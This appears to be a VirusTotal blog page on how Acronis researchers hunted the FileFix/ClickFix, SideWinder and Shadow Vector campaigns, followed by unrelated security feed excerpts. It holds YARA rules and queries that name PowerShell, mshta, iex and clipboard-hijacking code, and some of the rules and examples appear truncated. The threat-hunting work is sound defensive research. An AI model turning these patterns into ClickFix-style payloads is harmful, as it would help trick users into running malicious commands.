Acronis Threat Research Unit (TRU) used VirusTotal’s platform for threat hunting and intelligence across several investigations, including FileFix, SideWinder, and Shadow Vector. In the FileFix case, TRU used VT’s Livehunt framework, developing rules to identify malicious web pages using clipboard manipulation to deliver PowerShell payloads. The ability to inspect archived HTML and JavaScript whitin the VirusTotal platform allowed the team to uncover not only known Fix-family attacks but also previously unseen variants that shared code patterns.
VirusTotal’s data corpus also supported Acronis TRU’s broader threat tracking. In the SideWinder campaign, VT’s metadata and sample filtering capabilities helped analysts trace targeted document-based attacks exploiting tag:CVE-2017-0199 and tag:CVE-2017-11882 across South Asia, leading to the creation of hunting rules later published in “From banks to battalions: SideWinder’s attacks on South Asia’s public sector”.
Similarly, during the “Shadow Vector targets Colombian users via privilege escalation and court-themed SVG decoys” investigation, VT’s archive of SVG content exposed a campaign targeting Colombian entities that embedded judicial lures and external payload links within SVG images. By correlating samples with metadata filters such as submitter:CO and targeted content searches for terms like href="https://" and legal keywords, the team mapped an entire infection chain and its supporting infrastructure. Across all these efforts, VirusTotal provided a unified environment where Acronis could pivot, correlate, and validate findings in real time, transforming fragmented indicators into comprehensive, actionable intelligence.

Hunting Exploits Like It’s 2017-0199 (SideWinder Edition)

SideWinder is a well-known threat actor that keeps going back to what works. Their document-based delivery chain has been active for years, and the group continues to rely on the same proven exploits to target government and defense entities across South Asia. Our goal in this hunt was to get beyond just finding samples. We wanted to understand where new documents were surfacing, who they were likely aimed at, and what types of decoys were in circulation during the latest campaign wave. VirusTotal gave us the visibility we needed to do that efficiently and at scale.
We started by digging into Microsoft Office and RTF files recently uploaded to VirusTotal that were tagged with CVE-2017-0199 or CVE-2017-11882 and coming from Pakistan, Bangladesh, Sri Lanka, and neighboring countries. By filtering based on VT metadata such as submitter country and file type, and by excluding obvious noise from bulk submissions or unrelated activity, we could narrow our focus to the samples that actually fit SideWinder’s operational profile.
/*
    Checks if the file is tagged with CVE-2017-0199 or CVE-2017-11882
    and originates from one of the targeted countries
    and the file type is a Word document, RTF, or MS-Office file
*/
import "vt"
rule hunting_cve_maldocs {
    meta:
        author = "Acronis Threat Research Unit (TRU)"
        description = "Hunting for malicious Word/RTF files exploiting CVE-2017-0199 or CVE-2017-11882 from specific countries"
        distribution = "TLP:CLEAR"
        version = "1.2"

    condition:
        // Match if the file has CVE-2017-0199 or CVE-2017-11882 in the tags
        for any tag in vt.metadata.tags : 
        ( 
            tag == "cve-2017-0199" or 
            tag == "cve-2017-11882" 
        )
        // Originates from a specific country?
        and 
        (
            // Removed CN due to spam submissions of related maldocs
            vt.metadata.submitter.country == "PK" or 
            vt.metadata.submitter.country == "LK" or 
            vt.metadata.submitter.country == "BD" or 
            vt.metadata.submitter.country == "NP" or 
            vt.metadata.submitter.country == "MM" or 
            vt.metadata.submitter.country == "MV" or 
            vt.metadata.submitter.country == "AF"
        )
        // Is it a DOC, DOCX, or RTF?
        and 
        (
            vt.metadata.file_type == vt.FileType.DOC or
            vt.metadata.file_type == vt.FileType.DOCX or
            vt.metadata.file_type == vt.FileType.RTF
        )
        // Different TA spotted using .ru TLD (excluding it for now)
        and not (
            for any url in vt.behaviour.memory_pattern_urls : (
                url contains ".ru"
            )
        )
        and vt.metadata.new_file
} 
Next, we began translating those results into new livehunt rules. The initial version was intentionally broad: match any new document exploiting those CVEs, uploaded from a small list of countries of interest, and restricted to document file types like DOC, DOCX, or RTF. We also added logic to avoid hits that didn’t fit SideWinder’s patterns, such as samples calling out .ru infrastructure tied to other known threat clusters.
A good starting point when creating broad hunting rules is to define a daily notification limit and if everything works as expected and the level of false positives is tolerable, begin refining the rule as more and more hits come to our inbox.
It’s always a good idea to not spam your own inbox when creating broad hunting rules
In our case, the final hunting rule ended up matching a hexadecimal pattern for malicious documents used by SideWinder. By adding filters for submitter country and only triggering on new files, the rule produced a reliable feed of samples that we could confidently attribute to this actor for further analysis.
/*
    Sidewinder related malicious documents exploiting CVE 2017-0199 used during 2025 campaign
*/
import "vt"
rule apt_sidewinder_documents
{
    meta:

        author = "Acronis Threat Research Unit (TRU)"
        description = "Sidewinder related malicious documents exploiting CVE 2017-0199"
        distribution = "TLP:CLEAR"
        version = "1.0"

    strings:

        $a1 = {62544CB1F0B9E6E04433698E85BFB534278B9BDC5F06589C011E9CB80C71DF23}
        $a2 = {E20F76CDABDFAB004A6BA632F20CE00512BA5AD2FE8FB6ED9EE1865DFD07504B0304140000}

    condition:

        filesize  
Once we refined the rule set, SideWinder activity became much easier to track consistently. We began to see new decoys appear in near real time, allowing us to monitor changes in themes and spot repeated use of lure content and infrastructure across different campaigns. Using the same logic in retrohunt confirmed our observations that SideWinder had been using the same tactics for months, only changing the decoy topics while keeping the underlying delivery technique intact.
Using Retrohunt to uncover additional samples and establish the threat actor’s timeline
We also observed geofencing behavior in the delivery chain. If the server hosting the external resource did not recognize the visitor or the IP range did not match the intended target, the server often returned a benign decoy file (or an HTTP 404 error code) instead of the real payload.
While relying on exploits from 2017, SideWinder carefully filters the victims that will receive the final malicious payload
One recurring decoy had the SHA256 hash 1955c6914097477d5141f720c9e8fa44b4fe189e854da298d85090cbc338b35a, which corresponds to an empty RTF document. That decoy is useful as a hunting pivot: by searching for that hash and combining it with submitter country and file type filters in VT, you can separate likely targeted, genuine hits from broad noise and map where geofencing is being applied.
RTF empty decoy file used by SideWinder still presents valuable information for pivoting into other parts of their infrastructure
In addition, VirusTotal allowed us to trace the attack back to the initial infection vector and recover some of the spear phishing emails that started the chain. We pivoted from known samples and shared strings, and used file relations to follow linked URLs and artifacts upstream, and found an .eml file that contained the original message and attachment. One concrete example is the spear phish titled 54th CISM World Military Naval Pentathlon 2025 - Invitation.eml, indexed in VirusTotal with behavior metadata and attachments tied to the same infrastructure.
Getting initial infection spear-phishing e-mails allowed us to put together the different pieces of the puzzle, from beginning to end
For other hunters, the key takeaway is that even older exploits like CVE-2017-0199 can reveal a lot when you combine multiple VirusTotal features. In this case, we used metadata, livehunt, and regional telemetry to connect seemingly unrelated samples. We also checked hashtags and community votes, including those from researchers like Joseliyo, to cross-check our assumptions and spot ongoing discussions about similar activity. The Telemetry tab helped us see where submissions were coming from geographically, and the Threat Graph view made it easier to visualize how documents, infrastructure, and payloads were linked.
Every single data point counts when hunting for new samples
Using these tools together turned a noisy set of samples into a clear picture of SideWinder’s targeting and operations.

Uncovering Shadow Vector’s SVG-Based Crimeware Campaign in Colombia

During our research, we identified a campaign we refer to as Shadow Vector, which used malicious SVG images crafted as court summonses and legal notifications to target users in Colombia.
An example of a rendered SVG lure with a judicial correspondence theme
These files mimicked official judicial correspondence and contained embedded links to externally hosted payloads, such as script-based downloaders or password-protected archives. The investigation began after we noticed an unusual pattern of SVG submissions from Colombia. By using a small set of samples for an initial rule, we began our hunt.
<!--
    This YARA rule detects potentially malicious SVG files that are likely being used for crimeware campaigns targeting Colombia.
    The rule identifies SVG images that contain legal or judicial terms commonly used in phishing scams, 
    along with embedded external links that could be used to deliver a payload.
-->
import "vt"
rule crimeware_svg_colombia {
   meta:
        author = "Acronis Threat Research Unit (TRU)"
        description = "Detects potentially malicious SVG files that are likely being used for crimeware campaigns targeting Colombia"
        distribution = "TLP:CLEAR"
        version = "1.1"

        // Reference hashes
        hash1 = "6d4a53da259c3c8c0903b1345efcf2fa0d50bc10c3c010a34f86263de466f5a1"
        hash2 = "2aae8e206dd068135b16ff87dfbb816053fc247a222aad0d34c9227e6ecf7b5b"
        hash3 = "4cfeab122e0a748c8600ccd14a186292f27a93b5ba74c58dfee838fe28765061"
        hash4 = "9bbbcb6eae33314b84f5e367f90e57f487d6abe72d6067adcb66eba896d7ce33"
        hash5 = "60e87c0fe7c3904935bb1604bdb0b0fc0f2919db64f72666b77405c2c1e46067"
        hash6 = "609edc93e075223c5dc8caaf076bf4e28f81c5c6e4db0eb6f502dda91500aab4"
        hash7 = "4795d3a3e776baf485d284a9edcf1beef29da42cad8e8261a83e86d35b25cafe"
        hash8 = "5673ad3287bcc0c8746ab6cab6b5e1b60160f07c7b16c018efa56bffd44b37aa"
        hash9 = "b3e8ab81d0a559a373c3fe2ae7c3c99718503411cc13b17cffd1eee2544a787b"
        hash10 = "b5311cadc0bbd2f47549f7fc0895848adb20cc016387cebcd1c29d784779240c"
        hash11 = "c3319a8863d5e2dc525dfe6669c5b720fc42c96a8dce3bd7f6a0072569933303"
        hash12 = "cb035f440f728395cc4237e1ac52114641dc25619705b605713ecefb6fd9e563"
        hash13 = "cf23f7b98abddf1b36552b55f874ae1e2199768d7cefb0188af9ee0d9a698107"
        hash14 = "f3208ae62655435186e560378db58e133a68aa6107948e2a8ec30682983aa503"

   strings:
        // SVG 
        $svg = "<svg xmlns=" ascii fullword

        // Documents containing legal or judicial terms
        $s1 = "COPIA" nocase
        $s2 = "CITACION" nocase
        $s3 = "JUZGADO" nocase
        $s4 = "PENAL" nocase
        $s5 = "JUDICIAL" nocase
        $s6 = "BOGOTA" nocase
        $s7 = "DEMANDA" nocase

        // When image loads it retrieves payload from external website using HTTPS
        $href1= "href='https://" nocase
        $href2 = "href=\"https://" nocase

   condition:
      $svg 
      and filesize < 3MB
      and 3 of ($s*)
      and any of ($href*)
      and vt.metadata.submitter.country == "CO"
}
By including reference hashes from manually verified samples, we used a broad hunting rule both as detection mechanism and a pivot point for uncovering related infrastructure or newly generated lures.
Once the initial hunting logic was in place, we refined it into a livehunt rule specifically tailored for SVG-based decoys. The rule matched files containing judicial terminology and outbound HTTPS links, while filtering by file size and origin to reduce false positives. Using this rule, we began collecting and analyzing related uploads.
We used the VT Diff functionality to compare variations between samples and quickly spot patterns, such as repeated words, hexadecimal values, URLs, or metadata tags that hinted at automated generation (i.e. the string “Generado Automaticamente”).
VT Diff feature helped us to identify patterns
Results of our VT Diff session
While we could not conclusively attribute the SVG decoy campaign to Blind Eagle at the time of research, the technical and thematic overlaps were difficult to ignore. The VT blog “Uncovering a Colombian Malware Campaign with AI Code Analysis” describes similar judicial-themed SVG files used as lures in operations targeting Colombian users. As with other open reports on this threat actor, attribution remains based on cumulative evidence, clustering campaigns based on commonalities such as infrastructure reuse, phishing template design, malware family selection, and linguistic or regional indicators observed across samples.
rule crimeware_shadow_vector_svg
{

    meta:

        description = "Detects malicious SVG files associated with Shadow
Vector's Colombian campaign"
        author = "Acronis Threat Research Unit (TRU)"
        file_type = "SVG"
        malware_family = "Shadow Vector"
        threat_category = "Crimeware / Malicious Image / Embedded Payload"
        tlp = "TLP:CLEAR"

strings:

        $svg_tag1 = "<?xml" ascii
        $svg_tag2 = "<svg" ascii
        $svg_tag3 = "<!DOCTYPE svg" ascii
        $svg_tag4 = "http://www.w3.org/2000/svg" ascii 

        //used by Shadow Vector (possibly generated in batch)

        $judicial = "juzgado" ascii nocase
        $judicial_1 = "citacion" ascii nocase
        $judicial_2 = "judicial" ascii nocase
        $judicial_3 = "despacho" ascii nocase
        $generado = "Generado" ascii nocase

    condition:

        filesize < 3MB and
        3 of ($svg_tag*) and
        (1 of ($judicial*) and $generado)
}
The evolution from the initial hunting rule to the refined detection rule illustrates our approach to threat hunting in VT, iterative and continuously refined through testing and analysis. The first rule was broad, meant to surface related samples and reveal the full scope of the campaign. It proved useful in livehunt and retrohunt, helping us find clusters of judicial-themed SVGs and their linked payloads. As the investigation progressed, we focused on precision, reducing false positives and removing elements that did not add value. Tuning a rule is always a balance: removing one pattern might miss some samples, but it can also make the rule more accurate and easier to maintain.

FileFix in the wild!

A few weeks ago, the TRU team at Acronis released research on a (at the time) rarely seen variant of the ClickFix attack, called FileFix. Much of the investigation of this attack vector was possible thanks to VirusTotal’s ability to archive, search, and write rules for finding web pages. We, at Acronis, together with VT, wanted to share a bit of information on how we did it- so that others can better research this type of emerging threat.

Anatomy of an attack- where do we start?

Like many phishing attacks, *Fix attacks rely on malicious websites where victims are tricked into running malicious commands. Lucky for us, these attacks have a few particular components that are in common to all, or many, *Fix attacks. Using VT, we were able to write rules and livehunt for any new web pages which included these components, and were able to quickly reiterate on rules that were too broad.
One thing all *Fix attacks have in common, is that they copy a malicious command to the victims clipboard- copying the malicious command, rather than letting the user copy the command themselves, allows attackers to try to hide the malicious part of the command from the victim, and only allow for a smaller, “benign” portion of the command to appear when they copy it into their Windows Run Dialogue or address bar. This commonality gives us two great strings to hunt for:
  • The commands used to copy text into the victims clipboard
  • The commands used to construct the malicious payload
We began our research by using the Livehunt feature, and wrote a rule to detect navigator.clipboard.writeText and document.execCommand("copy"), both used for copying into clipboard, as well as any string including the words powershell, mshta, cmd, and other commands we find commonly used in *Fix attacks. At its most basic form, a rule might look like this:
import "vt"

rule ClickFix
{
  strings:
    $clipboard = /(navigator\.clipboard\.writeText|document\.execCommand\(\"copy\"\))/
    $pay01 = /(powershell|cmd|mshta|msiexec|pwsh)/gvfi
  condition:
    vt.net.url.new_url and
    $clipboard and
    any of ($pay*)
}  
However, this is far from enough. There are plenty of benign sites that use the copy to clipboard feature, and also have the words powershell or cmd present (the three letters “cmd” appear often as part of Base64 strings). This makes things a bit more tricky, as it requires us to iron out these false positives. We need to make our patterns look more similar to real powershell or cmd commands.
Unfortunately, there is such a huge variance in how these commands are written, that the more rigid our patterns became, the more likely it was for us to miss a true positive that included something we haven’t seen before or couldn’t think of. This requires a balancing act- if your rules are too rigid, you will miss true positives that employ a creatively crafted command; too loose and you will receive a large number of false positives, which will slow down investigation.
For example, we can try narrowing down our rule to include more true positives of powershell commands by searching for a string that’s better resembling some of the powershell commands we’ve seen as part of a ClickFix payload, by including the “iex” cmdlet, which tells the powershell command to execute a command:
$pay03 = /powershell.{,80}iex/
This will match whenever the word powershell appears, with the word iex appearing 0 to 80 characters after it. This should reduce the number of false positives we see related to powershell, as it more clearly resembles a powershell command, but at the same time limits our rule to only catch powershell commands that follow this structure- any true positive command with more than 80 characters between the word powershell and iex, or commands forgoing the use of iex, will not be caught.
We ended up setting a number of separate rulesets, some were more specific, others more generic. The more generic ones helped us tune our more specific rulesets. This tactic allowed us to find a large number of ClickFix attacks. Most were run of the mill fake captchas, leveraging ClickFix, others were more interesting. As we continued fine tuning our rules, and within a week of setting up our Livehunt, one of our more generic rules has made an interesting detection. At first glance, it appeared to be a false positive, but as we looked closer, we discovered that it’s exactly what we were hoping to find- a FileFix attack.

Analyzing payloads

One of the nicest things about researching a *Fix attack is that the payload is right there on the website, right in plain site. This offers a few advantages- the first is that we can examine the payload even when the phishing site itself is down, as long as it’s archived by VT. The second advantage is we can further search for similar patterns on VT via VT queries to try and catch other attacks from the same campaign.
Payloads are visible directly in VT, by using the content tab on any suspected website (and in this case- obfuscated)
Often, these payloads may contain additional malicious urls which are used to download and execute additional payloads. These can also very easily be examined on VT, and any files they lead to may also be downloaded directly from VT.
In our investigation of the FileFix site, we found that the payload (a powershell command) downloads an image, and then runs a script that is embedded in the image file. That second-stage script then decrypts and extracts an executable from the image and runs it.
FileFix site downloading and extracting code from an image (highlighted)
We were using both a VM and VT to investigate these payloads. One interesting way we were able to use VT is to track additional examples of the malicious images, as parts of the command were embedded as strings in the image file, allowing us to match these patterns via a VT query and find new examples of the attack, or by searching for the file name or the domain which hosts it.
Pivoting on the domain hosting malicious .jpg files, to investigate additional stages of the attack, archived by VT
VT has been extremely helpful in allowing us to very easily analyze malicious URLs used not only for phishing, but also for delivering malware and additional scripts. In some examples, we were able to get quite far along the chain of scripts and payloads without ever having to spin up a VM, just by looking at the content tab, to see what’s inside a particular file. That’s not going to be the case every time, but it’s certainly nice when it does happen.
The malicious images used during the attack contain parts of the malicious code used in the second stage of the attack
By pivoting on specific strings from within that code, we are able to locate other samples of the malicious images and scripts created by the same attacker, and further pivot to uncover their infrastructure
The ability to investigate and correlate various stages, or multiple samples from the same attacker, were a huge boon to us during the investigation. It allowed us to quickly connect the dots without leaving VT, and should be a great asset in your investigation.

Looking for a *Fix

So now that you know all this- what's next? How can this be useful? Well, we hope it can be helpful in a number of ways.
Firstly, working together as a community, it is important that we continue to catch and block URLs that are employing *Fix attacks. It’s not easy to detect a *Fix site dynamically, and prevention may still happen in many cases after the payload has already been run. Maintaining a robust blocklist remains a very good and accessible option for stopping these threats.
Secondly, those of us interested in continuing to track this threat and follow its evolution may use this to find these threats and potentially automate detection. As a side note, *Fix attacks are great investigation topics for those of us starting out in security, and as long as appropriate precautions are taken, it can be relatively safely investigated via VT, and can be very useful for learning about malicious commands, phishing sites, etc.
Thirdly, for those of us protecting organizations, this can be a useful guide for finding these attacks by yourself, in the wild, in order to gain a deeper understanding of how they operate, and what relevant ways you can find to defend your organization, although there are certainly many reports written on the subject which would also come in handy.

VT Tips (based on the success story)

[In the words of VirusTotal…]
The Acronis team’s investigation into FileFix, SideWinder, and ShadowVector is a goldmine of threat hunting techniques. Let’s move beyond the narrative and extract some advanced, practical methods you can apply to your own hunts for web-based threats and multi-stage payloads.

Supercharge Your Web-Content YARA Rules

A simple YARA rule looking for clipboard commands and "powershell" is a good start, but attackers know this. You can significantly improve your detection rate by building rules that look for the context in which these commands appear.
Instead of a generic search, try focusing on the obfuscation and page structure common in these attacks. For instance, attackers often hide their malicious script inside other functions or encoded strings. Your YARA rules can hunt for the combination of a clipboard command and indicators of de-obfuscation functions like atob() (for Base64) or String.fromCharCode.
Combine content searches with URL metadata. The content modifier is also available for URLs, when you set the entity to url you can use the content modifier to search for strings within the URL content. For example, the next query can be useful to identify potential ClickFix URLs combining some of the findings shared by Acronis and potential strings used to avoid detections.
entity:url (content:"navigator.clipboard.writeText" or content:"document.execCommand(\"copy\")") (content:"String.fromCharCode" or content:"atob")

Dissect Payloads with Advanced Content Queries

When you find a payload, as Acronis did within the FileFix site's source code, your job has just begun. The next step is to find related samples. Attackers often reuse code, and even when they obfuscate their scripts, unique strings or logic patterns can give them away. Isolate unique, non-generic parts of the script. Look for:
  • Custom function names
  • Specific variable names
  • Uncommon comments
  • Unique sequences of commands or API calls
Focus on the unobfuscated parts of the code. In the FileFix payload, the attackers might obfuscate the C2 domain, but the PowerShell command structure used to decode and run it could be consistent across samples. Use that structure as your pivot. For example, if a payload uses a specific combination of [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(...)), you can build a query to find other files using that exact deobfuscation chain.
behavior:"[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("

Don't forget about the infrastructure

Acronis has been tracking SideWinder in a very intelligent way. Their experience with VirusTotal is evident. Most of our users use VirusTotal primarily for file analysis, but sometimes we forget that there are powerful features for tracking infrastructure through livehunt.
In the SideWinder intrusions, there is a continuously monitored hash that corresponds to a decoy file, and this file is downloaded from different URLs.
ITW URLs means that these URLs were downloading the file being studied, in this case the RTF decoy file
An interesting way to proactively identify new URLs quickly is by creating a YARA rule in livehunt for URLs, where the objective is to discover new URLs that are downloading that specific RTF decoy file.
import "vt"

rule URLs_Downloading_Decoy_RTF_SideWinder {

  meta:
    target_entity = "url"
    author = "Virustotal"
    description = "This YARA rule identify new URLs downloading the decoy file related to SideWinder"

  condition:
    vt.net.url.downloaded_file.sha256 == "1955c6914097477d5141f720c9e8fa44b4fe189e854da298d85090cbc338b35a" 
    and vt.net.url.new_url
}
Another approach that could also be interesting is to directly query the itw_urls relationship of the decoy file using the API. One use case could be creating a script that regularly (perhaps daily) calls the relationship API, retrieves the URLs, stores them in a database, and then repeats the call each day to identify new URLs. It's a simple, yet effective way to integrate with technology that any company might already have.
The following code snippet can be executed in Google Colab and once you establish the API Key, you will obtain all the itw_urls related to the decoy file in the all_itw_urls variable.
!pip install vt-py nest_asyncio
import getpass, vt, json, nest_asyncio
nest_asyncio.apply()

cli = vt.Client(getpass.getpass('Introduce your VirusTotal API key: '))

FILEHASH = "1955c6914097477d5141f720c9e8fa44b4fe189e854da298d85090cbc338b35a"
RELATIONS = "itw_urls"
all_itw_urls = []

async for itemobj in cli.iterator(f'/files/{FILEHASH}/{RELATIONS}', limit=0):
    all_itw_urls.append(itemobj.to_dict())

The great forgotten one: VT Diff

When we read researchs using VT Diff, we are pleased, as it is a tool that is truly good for creating YARA rules.
When analyzing a set of related samples, use the VT Diff feature to spot commonalities and variations. This can help you identify patterns, such as repeated strings, hardcoded values, or metadata artifacts that indicate automated generation.
As the Acronis team notes, "We used the VT Diff functionality to compare variations between samples and quickly spot patterns, such as repeated words, hexadecimal values, URLs, or metadata tags that hinted at automated generation (i.e. the string “Generado Automaticamente”)".
You can easily use VT Diff from multiple places: intelligence search results, collections, campaigns, reports, VT Graph…
Creation of VT Diff from a Report

Conclusion

The examples shared by the Acronis Threat Research Unit in tracking campaigns like FileFix, SideWinder, and Shadow Vector demonstrates the power of VT as a comprehensive threat intelligence and hunting platform. By leveraging a combination of proactive Livehunt rules, deep content analysis, and rich metadata pivoting, security researchers can effectively uncover and track elusive and evolving threats.
These examples highlight that successful threat hunting is not just about having the right tools, but about applying creative and persistent investigation techniques. The ability to pivot from a simple YARA rule to a full-fledged campaign analysis, as Acronis did, is crucial to connecting the dots and revealing the full scope of an attack. From hunting for clipboard manipulation in web-based threats to tracking decade-old exploits and analyzing malicious SVG decoys, the Acronis team has demonstrated a deep understanding of modern threat hunting, and we appreciate them sharing their valuable insights with the community.
We hope this blog have been insightful and will help you in your own threat-hunting endeavors. The fight against cybercrime is a collective effort, and the more we share our knowledge and experiences, the stronger we become as a community.
If you have a success story of using VirusTotal that you would like to share with the community, we would be delighted to hear from you. Please reach out to us, and we will be happy to feature your story in a future blog post at practitioners@virustotal.com.
Together, we can make the digital world a safer place.

  •  

Wrangling Windows Event Logs with Hayabusa & SOF-ELK (Part 2)

But what if we need to wrangle Windows Event Logs for more than one system? In part 2, we’ll wrangle EVTX logs at scale by incorporating Hayabusa and SOF-ELK into my rapid endpoint investigation workflow (“REIW”)! 

The post Wrangling Windows Event Logs with Hayabusa & SOF-ELK (Part 2) appeared first on Black Hills Information Security, Inc..

  •  

Wrangling Windows Event Logs with Hayabusa & SOF-ELK (Part 1)

In part 1 of this post, we’ll discuss how Hayabusa and “Security Operations and Forensics ELK” (SOF-ELK) can help us wrangle EVTX files (Windows Event Log files) for maximum effect during a Windows endpoint investigation!

The post Wrangling Windows Event Logs with Hayabusa & SOF-ELK (Part 1) appeared first on Black Hills Information Security, Inc..

  •  

Stop Spoofing Yourself! Disabling M365 Direct Send

Remember the good ‘ol days of Zip drives, Winamp, the advent of “Office 365,” and copy machines that didn’t understand email authentication? Okay, maybe they weren’t so good! For a […]

The post Stop Spoofing Yourself! Disabling M365 Direct Send appeared first on Black Hills Information Security, Inc..

  •  

GRC for Security Managers: From Checklists to Influence

This webcast was originally aired on January 16, 2025. In this video, Kelli K. Tarala and CJ Cox discuss the challenges and strategies for improving governance, risk, and compliance (GRC) […]

The post GRC for Security Managers: From Checklists to Influence appeared first on Black Hills Information Security, Inc..

  •  

Unveiling Hidden Connections: JA4 Client Fingerprinting on VirusTotal

VirusTotal has incorporated a powerful new tool to fight against malware: JA4 client fingerprinting. This feature allows security researchers to track and identify malicious files based on the unique characteristics of their TLS client communications.

JA4: A More Robust Successor to JA3

JA4, developed by FoxIO, represents a significant advancement over the older JA3 fingerprinting method. JA3's effectiveness had been hampered by the increasing use of TLS extension randomization in https clients, which made fingerprints less consistent. JA4 was specifically designed to be resilient to this randomization, resulting in more stable and reliable fingerprints.

Unveiling the Secrets of the Client Hello

JA4 fingerprinting focuses on analyzing the TLS Client Hello packet, which is sent unencrypted from the client to the server at the start of a TLS connection. This packet contains a treasure trove of information that can uniquely identify the client application or its underlying TLS library. Some of the key elements extracted by JA4 include:
  • TLS Version: The version of TLS supported by the client.
  • Cipher Suites: The list of cryptographic algorithms the client can use.
  • TLS Extensions: Additional features and capabilities supported by the client.
  • ALPN (Application-Layer Protocol Negotiation): The application-level protocol, such as HTTP/2 or HTTP/3, that the client wants to use after the TLS handshake.

JA4 in Action: Pivoting and Hunting on VirusTotal

VirusTotal has integrated JA4 fingerprinting into its platform through the behavior_network file search modifier. This allows analysts to quickly discover relationships between files based on their JA4 fingerprints.

To find the JA4 value, navigate to the "behavior" section of the desired sample and locate the TLS subsection. In addition to JA4, you might also find JA3 or JA3S there.

Example Search: Let's say you've encountered a suspicious file that exhibits the JA4 fingerprint "t10d070600_c50f5591e341_1a3805c3aa63" during VirusTotal's behavioral analysis.

You can click on this JA4 to pivot using the search query behavior_network:t10d070600_c50f5591e341_1a3805c3aa63 finding other files with the same fingerprint This search will pivot you to additional samples that share the same JA4 fingerprint, suggesting they might be related. This could indicate that these files are part of the same malware family or share a common developer or simply share a common TLS library.

Wildcard Searches

To broaden your search, you can use wildcards within the JA4 hash. For instance, the search: behaviour_network:t13d190900_*_97f8aa674fd9

Returns files that match the JA4_A and JA4_C components of the JA4 hash while allowing for variations in the middle section, which often corresponds to the cipher suite. This technique is useful for identifying files that might use different ciphers but share other JA4 characteristics.

YARA Hunting Rules: Automating JA4-Based Detection

YARA hunting rules using the "vt" module can be written to automatically detect files based on their JA4 fingerprints. Here's an example of a YARA rule that targets a specific JA4 fingerprint:


This rules will flag any file submitted to VirusTotal that exhibits the matching JA4 fingerprint. The first example only matches "t12d190800_d83cc789557e_7af1ed941c26" during behavioral analysis. The second rule will match a regular expression /t10d070600_.*_1a3805c3aa63/, only matching JA4_A and JA4_C components, excluding the JA4_B cipher suite. These fingerprints could be linked to known malware, a suspicious application, or any TLS client behavior that is considered risky by security analysts.



JA4: Elevating Threat Hunting on VirusTotal

VirusTotal's adoption of JA4 client fingerprinting will provide users with an invaluable tool for dissecting and tracking TLS client behaviors, leading to enhanced threat hunting, pivoting, and more robust malware identification.

Happy Hunting.

  •  

Auditd Field Spoofing: Now You Auditd Me, Now You Auditdon’t

moth // Introduction  One fateful night in June of 2022, Ethan sent a message to the crew: “Anyone know ways to fool Auditd on Linux? I’m trying to figure out how to change the auid (audit […]

The post Auditd Field Spoofing: Now You Auditd Me, Now You Auditdon’t appeared first on Black Hills Information Security, Inc..

  •  

MITM6 Strikes Again: The Dark Side of IPv6  

Dale Hobbs // As the world becomes increasingly connected through the internet, cyber attacks have become more sophisticated and prevalent. One type of attack that you may not have heard […]

The post MITM6 Strikes Again: The Dark Side of IPv6   appeared first on Black Hills Information Security, Inc..

  •  

Webcast: What to Expect When You’re Expecting a Penetration Test

CJ and Bryan will share the knowledge they’ve accumulated, by helping 1,000’s of organizations determine what they need and don’t need when it comes to penetration tests and security assessments, […]

The post Webcast: What to Expect When You’re Expecting a Penetration Test appeared first on Black Hills Information Security, Inc..

💾

  •  

Webcast: Linux Forensics Magical Mystery Tour With Hal Pomeranz

One of our favorite BHIS guest presenters, Hal Pomeranz, returns for more of the Linux goodness. Roll up for a magical tour through the mysteries of Linux file systems! Relative […]

The post Webcast: Linux Forensics Magical Mystery Tour With Hal Pomeranz appeared first on Black Hills Information Security, Inc..

  •  
❌